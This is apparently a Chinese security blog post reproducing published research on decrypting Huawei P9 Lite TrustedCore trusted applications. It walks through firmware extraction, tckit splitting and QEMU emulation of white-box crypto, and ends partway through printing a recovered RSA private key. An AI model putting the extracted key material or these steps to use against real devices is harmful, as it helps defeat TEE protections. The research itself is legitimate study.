Jekyll2023-07-03T02:30:21+00:00https://xuanxuanblingbling.github.io/atom.xmlClang裁缝店I love blingbling.老板娘华为 P9 Lite TrustedCore TA 解密2023-05-29T00:00:00+00:002023-05-29T00:00:00+00:00https://xuanxuanblingbling.github.io/trustzone/2023/05/29/p9lite<p>议题 <a href="https://www.usenix.org/conference/woot20/presentation/busch">Unearthing the TrustedCore: A Critical Review on Huawei’s Trusted Execution Environment</a> 的子部分,其分析的TEE方案是华为自研的TrustedCore,解密TA的大概流程主要有三步:(1)模拟运行TEE中的白盒密码算法解出RSA私钥prikeyx。(2)使用RSA的私钥prikeyx解密TA头部的manifest。(3)使用解密后manifest中的AES key 解密 TA 正文。但作者没有给出解密过程中的一些细节,例如RSA和AES密钥的组织方法。所以我尝试复现了这个解密,并给出解密过程中的所有细节。<br />
<img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/two_key.png" alt="image" /></p>
<ul>
<li>议题:<a href="https://www.usenix.org/conference/woot20/presentation/busch">Unearthing the TrustedCore: A Critical Review on Huawei’s Trusted Execution Environment</a></li>
<li>ppt : <a href="https://www.usenix.org/system/files/woot20-paper22-slides-busch.pdf">https://www.usenix.org/system/files/woot20-paper22-slides-busch.pdf</a></li>
<li>white paper : <a href="https://www.usenix.org/system/files/woot20-paper-busch.pdf">https://www.usenix.org/system/files/woot20-paper-busch.pdf</a></li>
<li>详细版 white paper (130 页): <a href="https://opus4.kobv.de/opus4-fau/files/16008/diss-mbusch.pdf">On the Security of ARM TrustZone-Based Trusted Execution Environments</a></li>
<li>github: <a href="https://github.com/teesec-research/tckit">https://github.com/teesec-research/tckit</a></li>
<li>GOSSIP的中文解读:<a href="https://securitygossip.com/blog/2020/10/27/unearthing-the-trustedcore-a-critical-review-on-huaweis-trusted-execution-environment/">GOSSIP: Unearthing the TrustedCore: A Critical Review on Huawei’s Trusted Execution Environment</a></li>
<li>固件(VNS-L31C432B160):<a href="https://androidhost.ru/1KtL">https://androidhost.ru/1KtL</a></li>
</ul>
<h2 id="固件解包">固件解包</h2>
<p>目标固件<a href="https://androidhost.ru/1KtL">VNS-L31C432B160</a>是2016年的版本,也是作者开源在github上的相关工具<a href="https://github.com/teesec-research/tckit">tckit</a>的示例固件。固件解压后的UPDATE.APP可以使用在之前<a href="https://xuanxuanblingbling.github.io/trustzone/2023/03/06/huawei/">CVE-2021-39994:HUAWEI SMC SE Factory Check OOB Access</a>中的提到过的<a href="https://github.com/ntiger1024/android_image_tools">Android Image Tools</a>的emui_extractor进行提取,此工具在我本机的mac环境下编译此工具需要添加指定C++11的编译选项<code class="language-plaintext highlighter-rouge">-std=c++11</code>:</p>
<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">emui_extractor</span><span class="o">:</span> <span class="nf">image.h image.cc emui_extractor.cc</span>
<span class="err">g++</span> <span class="nv">-std</span><span class="o">=</span>c++11 <span class="nt">-o</span> emui_extractor image.cc emui_extractor.cc
<span class="nl">.PHONY</span><span class="o">:</span> <span class="nf">clean</span>
<span class="nl">clean</span><span class="o">:</span>
<span class="err">rm</span> <span class="err">emui_extractor</span>
</code></pre></div></div>
<p>然后即可使用其list子功能查看UPDATE.APP中的不同镜像:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="p">.</span><span class="o">/</span><span class="n">emui_extractor</span> <span class="p">.</span><span class="o">/</span><span class="n">UPDATE</span><span class="p">.</span><span class="n">APP</span> <span class="n">list</span>
<span class="o">=====================================================================</span>
<span class="n">Sequence</span> <span class="n">File</span><span class="p">.</span><span class="n">img</span> <span class="n">Size</span> <span class="n">Type</span> <span class="n">Device</span>
<span class="o">=====================================================================</span>
<span class="n">fe000000</span> <span class="n">SHA256RSA</span><span class="p">.</span><span class="n">img</span> <span class="mi">256</span><span class="p">.</span><span class="mo">00</span> <span class="n">B</span> <span class="n">SHA256RSA</span> <span class="n">HW7x27</span>
<span class="n">fe000000</span> <span class="n">CRC</span><span class="p">.</span><span class="n">img</span> <span class="mi">197</span><span class="p">.</span><span class="mi">10</span> <span class="n">KB</span> <span class="n">CRC</span> <span class="n">HW7x27</span>
<span class="n">fffffff0</span> <span class="n">CURVER</span><span class="p">.</span><span class="n">img</span> <span class="mi">15</span><span class="p">.</span><span class="mo">00</span> <span class="n">B</span> <span class="n">CURVER</span> <span class="n">HW7x27</span>
<span class="n">fffffff1</span> <span class="n">VERLIST</span><span class="p">.</span><span class="n">img</span> <span class="mi">3</span><span class="p">.</span><span class="mi">14</span> <span class="n">KB</span> <span class="n">VERLIST</span> <span class="n">HW7x27</span>
<span class="mo">00000000</span> <span class="n">EFI</span><span class="p">.</span><span class="n">img</span> <span class="mi">17</span><span class="p">.</span><span class="mo">00</span> <span class="n">KB</span> <span class="n">EFI</span> <span class="n">HW7x27</span>
<span class="mo">0000001</span><span class="mi">8</span> <span class="n">XLOADER</span><span class="p">.</span><span class="n">img</span> <span class="mi">69</span><span class="p">.</span><span class="mi">25</span> <span class="n">KB</span> <span class="n">XLOADER</span> <span class="n">HW7x27</span>
<span class="mo">00000017</span> <span class="n">FW_LPM3</span><span class="p">.</span><span class="n">img</span> <span class="mi">164</span><span class="p">.</span><span class="mi">44</span> <span class="n">KB</span> <span class="n">FW_LPM3</span> <span class="n">HW7x27</span>
<span class="mo">00000013</span> <span class="n">FASTBOOT</span><span class="p">.</span><span class="n">img</span> <span class="mi">2</span><span class="p">.</span><span class="mi">53</span> <span class="n">MB</span> <span class="n">FASTBOOT</span> <span class="n">HW7x27</span>
<span class="mo">00000016</span> <span class="n">MODEMNVM_UPDATE</span><span class="p">.</span><span class="n">img</span> <span class="mi">19</span><span class="p">.</span><span class="mi">97</span> <span class="n">MB</span> <span class="n">MODEMNVM_UPDATE</span> <span class="n">HW7x27</span>
<span class="mo">0000001</span><span class="n">a</span> <span class="n">TEEOS</span><span class="p">.</span><span class="n">img</span> <span class="mi">2</span><span class="p">.</span><span class="mi">30</span> <span class="n">MB</span> <span class="n">TEEOS</span> <span class="n">HW7x27</span>
<span class="mo">00000012</span> <span class="n">TRUSTFIRMWARE</span><span class="p">.</span><span class="n">img</span> <span class="mi">94</span><span class="p">.</span><span class="mi">56</span> <span class="n">KB</span> <span class="n">TRUSTFIRMWARE</span> <span class="n">HW7x27</span>
<span class="mo">0000001</span><span class="mi">9</span> <span class="n">SENSORHUB</span><span class="p">.</span><span class="n">img</span> <span class="mi">416</span><span class="p">.</span><span class="mi">44</span> <span class="n">KB</span> <span class="n">SENSORHUB</span> <span class="n">HW7x27</span>
<span class="mo">00000014</span> <span class="n">FW_HIFI</span><span class="p">.</span><span class="n">img</span> <span class="mi">2</span><span class="p">.</span><span class="mi">51</span> <span class="n">MB</span> <span class="n">FW_HIFI</span> <span class="n">HW7x27</span>
<span class="mo">0000000</span><span class="n">c</span> <span class="n">BOOT</span><span class="p">.</span><span class="n">img</span> <span class="mi">13</span><span class="p">.</span><span class="mi">67</span> <span class="n">MB</span> <span class="n">BOOT</span> <span class="n">HW7x27</span>
<span class="mo">0000000</span><span class="n">a</span> <span class="n">RECOVERY</span><span class="p">.</span><span class="n">img</span> <span class="mi">32</span><span class="p">.</span><span class="mi">34</span> <span class="n">MB</span> <span class="n">RECOVERY</span> <span class="n">HW7x27</span>
<span class="mo">0000000</span><span class="n">a</span> <span class="n">RECOVERY2</span><span class="p">.</span><span class="n">img</span> <span class="mi">32</span><span class="p">.</span><span class="mi">34</span> <span class="n">MB</span> <span class="n">RECOVERY2</span> <span class="n">HW7x27</span>
<span class="mo">0000000</span><span class="mi">8</span> <span class="n">DTS</span><span class="p">.</span><span class="n">img</span> <span class="mi">18</span><span class="p">.</span><span class="mi">12</span> <span class="n">MB</span> <span class="n">DTS</span> <span class="n">HW7x27</span>
<span class="mo">00000011</span> <span class="n">MODEM_FW</span><span class="p">.</span><span class="n">img</span> <span class="mi">96</span><span class="p">.</span><span class="mo">00</span> <span class="n">MB</span> <span class="n">MODEM_FW</span> <span class="n">HW7x27</span>
<span class="mo">0000000</span><span class="n">e</span> <span class="n">CACHE</span><span class="p">.</span><span class="n">img</span> <span class="mi">6</span><span class="p">.</span><span class="mi">10</span> <span class="n">MB</span> <span class="n">CACHE</span> <span class="n">HW7x27</span>
<span class="mo">0000000</span><span class="n">d</span> <span class="n">SYSTEM</span><span class="p">.</span><span class="n">img</span> <span class="mi">2</span><span class="p">.</span><span class="mi">38</span> <span class="n">GB</span> <span class="n">SYSTEM</span> <span class="n">HW7x27</span>
<span class="mo">0000000</span><span class="n">f</span> <span class="n">CUST</span><span class="p">.</span><span class="n">img</span> <span class="mi">418</span><span class="p">.</span><span class="mi">13</span> <span class="n">MB</span> <span class="n">CUST</span> <span class="n">HW7x27</span>
<span class="mo">00000010</span> <span class="n">USERDATA</span><span class="p">.</span><span class="n">img</span> <span class="mi">67</span><span class="p">.</span><span class="mi">33</span> <span class="n">MB</span> <span class="n">USERDATA</span> <span class="n">HW7x27</span>
<span class="o">=====================================================================</span>
</code></pre></div></div>
<p>主要关注两个镜像:</p>
<ul>
<li>TEEOS.img:TEEOS和静态TA,其中包含对动态TA解密的关键代码和数据</li>
<li>SYSTEM.img:Android侧文件系统,其中包含加密后的动态TA</li>
</ul>
<p>将二者提取出来:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="p">.</span><span class="o">/</span><span class="n">emui_extractor</span> <span class="p">.</span><span class="o">/</span><span class="n">UPDATE</span><span class="p">.</span><span class="n">APP</span> <span class="n">dump</span> <span class="n">TEEOS</span><span class="p">.</span><span class="n">img</span> <span class="n">TEEOS</span><span class="p">.</span><span class="n">img</span>
<span class="err">➜</span> <span class="p">.</span><span class="o">/</span><span class="n">emui_extractor</span> <span class="p">.</span><span class="o">/</span><span class="n">UPDATE</span><span class="p">.</span><span class="n">APP</span> <span class="n">dump</span> <span class="n">SYSTEM</span><span class="p">.</span><span class="n">img</span> <span class="n">SYSTEM</span><span class="p">.</span><span class="n">img</span>
</code></pre></div></div>
<p>在TEEOS.img中可以找到关键字符串TrustedCore,这就是华为TEE方案的名字:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">strings</span> <span class="p">.</span><span class="o">/</span><span class="n">TEEOS</span><span class="p">.</span><span class="n">img</span> <span class="o">|</span> <span class="n">grep</span> <span class="o">-</span><span class="n">i</span> <span class="n">core</span>
<span class="n">Copy</span> <span class="n">All</span> <span class="n">Tasks</span> <span class="n">in</span> <span class="n">TrustedCore</span>
<span class="o">******************</span> <span class="n">All</span> <span class="n">Tasks</span> <span class="n">in</span> <span class="n">TrustedCore</span> <span class="o">*******************</span>
<span class="n">can</span> <span class="n">not</span> <span class="n">reloc</span> <span class="n">this</span> <span class="n">symbol</span><span class="p">,</span> <span class="n">symbol</span> <span class="n">is</span> <span class="n">not</span> <span class="n">defined</span> <span class="n">by</span> <span class="n">trustedcore</span>
<span class="n">TrustedCore</span> <span class="k">do</span> <span class="n">not</span> <span class="n">support</span> <span class="n">FingerPrint</span> <span class="n">in</span> <span class="n">this</span> <span class="n">platform</span><span class="p">,</span> <span class="n">initCapture</span> <span class="k">return</span> <span class="n">error</span><span class="p">.</span> <span class="n">ret</span> <span class="o">=</span><span class="mi">0</span><span class="n">x</span><span class="o">%</span><span class="n">x</span>
<span class="n">Core</span> <span class="n">ID</span>
<span class="n">TrustedCore</span> <span class="n">Release</span> <span class="n">Version</span> <span class="o">%</span><span class="n">s</span><span class="p">,</span> <span class="o">%</span><span class="n">s</span><span class="p">.</span><span class="o">%</span><span class="n">s</span>
</code></pre></div></div>
<p>SYSTEM.img是android文件系统的主要部分,加密后的TA就在其中,但其格式是 Android sparse image,还需要再次进行处理:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ file SYSTEM.img
SYSTEM.img: Android sparse image, version: 1.0, Total of 655320 4096-byte output blocks in 4845 input chunks.
</code></pre></div></div>
<p>使用<a href="https://github.com/anestisb/android-simg2img">https://github.com/anestisb/android-simg2img</a>,将其转化为正常的ext4文件系统格式:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="p">.</span><span class="o">/</span><span class="n">simg2img</span> <span class="p">.</span><span class="o">/</span><span class="n">SYSTEM</span><span class="p">.</span><span class="n">img</span> <span class="p">.</span><span class="o">/</span><span class="n">system</span><span class="p">.</span><span class="n">ext4</span>
<span class="err">➜</span> <span class="n">file</span> <span class="p">.</span><span class="o">/</span><span class="n">system</span><span class="p">.</span><span class="n">ext4</span>
<span class="p">.</span><span class="o">/</span><span class="n">system</span><span class="p">.</span><span class="n">ext4</span><span class="o">:</span> <span class="n">Linux</span> <span class="n">rev</span> <span class="mi">1</span><span class="p">.</span><span class="mi">0</span> <span class="n">ext4</span> <span class="n">filesystem</span> <span class="n">data</span><span class="p">,</span> <span class="n">volume</span> <span class="n">name</span> <span class="s">"system"</span> <span class="p">(</span><span class="n">extents</span><span class="p">)</span> <span class="p">(</span><span class="n">large</span> <span class="n">files</span><span class="p">)</span>
</code></pre></div></div>
<p>然后在linux中挂载此文件系统即可:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">mkdir</span> <span class="n">rootfs</span>
<span class="err">➜</span> <span class="n">sudo</span> <span class="n">mount</span> <span class="p">.</span><span class="o">/</span><span class="n">system</span><span class="p">.</span><span class="n">ext4</span> <span class="p">.</span><span class="o">/</span><span class="n">rootfs</span>
<span class="err">➜</span> <span class="n">ls</span> <span class="p">.</span><span class="o">/</span><span class="n">rootfs</span>
<span class="n">app</span> <span class="n">build</span><span class="p">.</span><span class="n">prop</span> <span class="n">emui</span> <span class="n">fonts</span> <span class="n">global</span> <span class="n">lib64</span> <span class="n">phone</span><span class="p">.</span><span class="n">prop</span> <span class="n">themes</span> <span class="n">vendor</span>
<span class="n">asr</span> <span class="n">cdrom</span> <span class="n">etc</span> <span class="n">fpgaice40</span> <span class="n">hw_oem</span> <span class="n">lost</span><span class="o">+</span><span class="n">found</span> <span class="n">priv</span><span class="o">-</span><span class="n">app</span> <span class="n">tts</span> <span class="n">watermark</span>
<span class="n">bin</span> <span class="n">delapp</span> <span class="n">extras</span> <span class="n">framework</span> <span class="n">lib</span> <span class="n">media</span> <span class="n">screenlock</span> <span class="n">usr</span> <span class="n">xbin</span>
</code></pre></div></div>
<p>加密的TA就在bin目录下,是以UUID格式和.sec后缀为名字的文件:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">ls</span> <span class="o">-</span><span class="n">al</span> <span class="p">.</span><span class="o">/</span><span class="n">rootfs</span><span class="o">/</span><span class="n">bin</span> <span class="o">|</span> <span class="n">grep</span> <span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">xuan</span> <span class="mi">12756</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="mi">6</span><span class="n">c8cf255</span><span class="o">-</span><span class="n">ca98</span><span class="o">-</span><span class="mi">439</span><span class="n">e</span><span class="o">-</span><span class="n">a98e</span><span class="o">-</span><span class="n">ade64022ecb6</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">xuan</span> <span class="mi">26696</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="mi">79</span><span class="n">b77788</span><span class="o">-</span><span class="mi">9789</span><span class="o">-</span><span class="mi">4</span><span class="n">a7a</span><span class="o">-</span><span class="n">a2be</span><span class="o">-</span><span class="n">b60155eef5f4</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">xuan</span> <span class="mi">9012</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="mi">868</span><span class="n">ccafb</span><span class="o">-</span><span class="mi">794</span><span class="n">b</span><span class="o">-</span><span class="mi">46</span><span class="n">c6</span><span class="o">-</span><span class="n">b5c4</span><span class="o">-</span><span class="mi">9</span><span class="n">f1462de4e02</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">xuan</span> <span class="mi">417224</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="mi">883890</span><span class="n">ba</span><span class="o">-</span><span class="mi">3</span><span class="n">ef8</span><span class="o">-</span><span class="mi">4</span><span class="n">f0b</span><span class="o">-</span><span class="mi">9</span><span class="n">c02</span><span class="o">-</span><span class="n">f5874acbf2ff</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">xuan</span> <span class="mi">23940</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="mi">9</span><span class="n">b17660b</span><span class="o">-</span><span class="mi">8968</span><span class="o">-</span><span class="mi">4</span><span class="n">eed</span><span class="o">-</span><span class="mi">917</span><span class="n">e</span><span class="o">-</span><span class="n">dd32379bd548</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">xuan</span> <span class="mi">41500</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="n">b4b71581</span><span class="o">-</span><span class="n">add2</span><span class="o">-</span><span class="n">e89f</span><span class="o">-</span><span class="n">d536</span><span class="o">-</span><span class="n">f35436dc7973</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="mi">1004</span> <span class="mi">12776</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="n">fd1bbfb2</span><span class="o">-</span><span class="mi">9</span><span class="n">a62</span><span class="o">-</span><span class="mi">4</span><span class="n">b27</span><span class="o">-</span><span class="mi">8</span><span class="n">fdb</span><span class="o">-</span><span class="n">a503529076af</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="mi">1004</span> <span class="mi">1326040</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="n">fpc_1021_ta</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="mi">1004</span> <span class="mi">1329000</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="n">fpc_1021_ta_venus</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="mi">1004</span> <span class="mi">1208040</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="n">fpc_1022_ta</span><span class="p">.</span><span class="n">sec</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">x</span><span class="o">---</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="n">root</span> <span class="mi">10096</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="n">secure_storage</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">-----</span><span class="p">.</span> <span class="mi">1</span> <span class="n">root</span> <span class="mi">1004</span> <span class="mi">1711896</span> <span class="mi">11</span><span class="err">月</span> <span class="mi">9</span> <span class="mi">2016</span> <span class="n">syna_109A0_ta</span><span class="p">.</span><span class="n">sec</span>
</code></pre></div></div>
<p>给出示例,之后以<a href="https://xuanxuanblingbling.github.io/assets/attachment/p9lite/868ccafb-794b-46c6-b5c4-9f1462de4e02.sec">868ccafb-794b-46c6-b5c4-9f1462de4e02.sec</a>为例,目标就是解密这个TA,使用binwalk可以看出这个目标确实是加密的:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">binwalk</span> <span class="o">-</span><span class="n">E</span> <span class="p">.</span><span class="o">/</span><span class="mi">868</span><span class="n">ccafb</span><span class="o">-</span><span class="mi">794</span><span class="n">b</span><span class="o">-</span><span class="mi">46</span><span class="n">c6</span><span class="o">-</span><span class="n">b5c4</span><span class="o">-</span><span class="mi">9</span><span class="n">f1462de4e02</span><span class="p">.</span><span class="n">sec</span>
<span class="n">DECIMAL</span> <span class="n">HEXADECIMAL</span> <span class="n">ENTROPY</span>
<span class="o">--------------------------------------------------------------------------------</span>
<span class="mi">0</span> <span class="mh">0x0</span> <span class="n">Rising</span> <span class="n">entropy</span> <span class="n">edge</span> <span class="p">(</span><span class="mi">0</span><span class="p">.</span><span class="mi">968520</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/binwalk.png" alt="image" /></p>
<p>接下来就用TEEOS.img来解密868ccafb-794b-46c6-b5c4-9f1462de4e02.sec:</p>
<ul>
<li><a href="https://xuanxuanblingbling.github.io/assets/attachment/p9lite/TEEOS.img">TEEOS.img</a></li>
<li><a href="https://xuanxuanblingbling.github.io/assets/attachment/p9lite/868ccafb-794b-46c6-b5c4-9f1462de4e02.sec">868ccafb-794b-46c6-b5c4-9f1462de4e02.sec</a></li>
</ul>
<h2 id="拆分teeosimg">拆分TEEOS.img</h2>
<p>使用<a href="https://github.com/teesec-research/tckit">https://github.com/teesec-research/tckit</a>(python2),即可从TEEOS.img拆出RSA的私钥,首先使用splitteeos.py从TEEOS.img拆分出globaltask这个PTA:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python2</span> <span class="n">tckit</span><span class="o">/</span><span class="n">splitteeos</span><span class="o">/</span><span class="n">splitteeos</span><span class="p">.</span><span class="n">py</span> <span class="p">.</span><span class="o">/</span><span class="n">TEEOS</span><span class="p">.</span><span class="n">img</span>
<span class="err">➜</span> <span class="n">ls</span> <span class="o">-</span><span class="n">al</span> <span class="p">.</span><span class="o">/</span><span class="n">tas_out</span>
<span class="n">drwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">2</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">4096</span> <span class="mi">6</span><span class="err">月</span> <span class="mi">4</span> <span class="mi">15</span><span class="o">:</span><span class="mi">12</span> <span class="p">.</span>
<span class="n">drwxrwxr</span><span class="o">-</span><span class="n">x</span> <span class="mi">4</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">4096</span> <span class="mi">6</span><span class="err">月</span> <span class="mi">4</span> <span class="mi">15</span><span class="o">:</span><span class="mi">12</span> <span class="p">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">1642624</span> <span class="mi">6</span><span class="err">月</span> <span class="mi">4</span> <span class="mi">15</span><span class="o">:</span><span class="mi">12</span> <span class="n">globaltask</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">18212</span> <span class="mi">6</span><span class="err">月</span> <span class="mi">4</span> <span class="mi">15</span><span class="o">:</span><span class="mi">12</span> <span class="n">task_gatekeeper</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">75216</span> <span class="mi">6</span><span class="err">月</span> <span class="mi">4</span> <span class="mi">15</span><span class="o">:</span><span class="mi">12</span> <span class="n">task_keyboard</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">107132</span> <span class="mi">6</span><span class="err">月</span> <span class="mi">4</span> <span class="mi">15</span><span class="o">:</span><span class="mi">12</span> <span class="n">task_keymaster</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">14792</span> <span class="mi">6</span><span class="err">月</span> <span class="mi">4</span> <span class="mi">15</span><span class="o">:</span><span class="mi">12</span> <span class="n">task_reet</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">10232</span> <span class="mi">6</span><span class="err">月</span> <span class="mi">4</span> <span class="mi">15</span><span class="o">:</span><span class="mi">12</span> <span class="n">task_secboot</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span> <span class="mi">1</span> <span class="n">xuan</span> <span class="n">xuan</span> <span class="mi">15540</span> <span class="mi">6</span><span class="err">月</span> <span class="mi">4</span> <span class="mi">15</span><span class="o">:</span><span class="mi">12</span> <span class="n">task_storage</span>
</code></pre></div></div>
<p>然后使用globaltaskgencode.py从拆分出的globaltask中,提取白盒密码算法代码,并封装为C代码:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python2</span> <span class="n">tckit</span><span class="o">/</span><span class="n">globaltaskgencode</span><span class="p">.</span><span class="n">py</span> <span class="p">.</span><span class="o">/</span><span class="n">tas_out</span><span class="o">/</span><span class="n">globaltask</span>
<span class="err">➜</span> <span class="n">file</span> <span class="n">tas_out</span><span class="o">/</span><span class="n">globaltask_extract_keys</span><span class="p">.</span><span class="n">c</span>
<span class="n">tas_out</span><span class="o">/</span><span class="n">globaltask_extract_keys</span><span class="p">.</span><span class="n">c</span><span class="o">:</span> <span class="n">ASCII</span> <span class="n">text</span>
</code></pre></div></div>
<p>编译并使用QEMU模拟运行此白盒密码算法:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">arm</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnueabihf</span><span class="o">-</span><span class="n">gcc</span> <span class="n">tas_out</span><span class="o">/</span><span class="n">globaltask_extract_keys</span><span class="p">.</span><span class="n">c</span> <span class="o">-</span><span class="n">o</span> <span class="n">test</span>
<span class="err">➜</span> <span class="n">qemu</span><span class="o">-</span><span class="n">arm</span> <span class="o">-</span><span class="n">L</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">arm</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnueabihf</span> <span class="p">.</span><span class="o">/</span><span class="n">test</span>
</code></pre></div></div>
<p>运行后即可打印RSA私钥:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">private_key</span> <span class="o">=</span> <span class="err">'\</span><span class="n">xcc</span><span class="err">\</span><span class="n">x29</span><span class="err">\</span><span class="n">xd6</span><span class="err">\</span><span class="n">x21</span><span class="err">\</span><span class="n">xb9</span><span class="err">\</span><span class="n">x86</span><span class="err">\</span><span class="n">xab</span><span class="err">\</span><span class="n">xa7</span><span class="err">\</span><span class="n">x13</span><span class="err">\</span><span class="n">xa7</span><span class="err">\</span><span class="n">xa2</span><span class="err">\</span><span class="n">x61</span><span class="err">\</span><span class="n">x06</span><span class="err">\</span><span class="n">x32</span><span class="err">\</span><span class="n">x1b</span><span class="err">\</span><span class="n">x33</span><span class="err">\</span><span class="n">x8d</span><span class="err">\</span><span class="n">xd1</span><span class="err">\</span><span class="n">x12</span><span class="err">\</span><span class="n">xd8</span><span class="err">\</span><span class="n">x6f</span><span class="err">\</span><span class="n">x36</span><span class="err">\</span><span class="n">x14</span><span class="err">\</span><span class="n">xaa</span><span class="err">\</span><span class="n">x39</span><span class="err">\</span><span class="n">xcd</span><span class="err">\</span><span class="n">x1c</span><span class="err">\</span><span class="n">xd5</span><span class="err">\</span><span class="n">x9b</span><span class="err">\</span><span class="n">x1d</span><span class="err">\</span><span class="n">xf1</span><span class="err">\</span><span class="n">xfd</span><span class="err">\</span><span class="n">x5a</span><span class="err">\</span><span class="n">x17</span><span class="err">\</span><span class="n">x58</span><span class="err">\</span><span class="n">xea</span><span class="err">\</span><span class="n">x64</span><span class="err">\</span><span class="n">xc5</span><span class="err">\</span><span class="n">x3d</span><span class="err">\</span><span 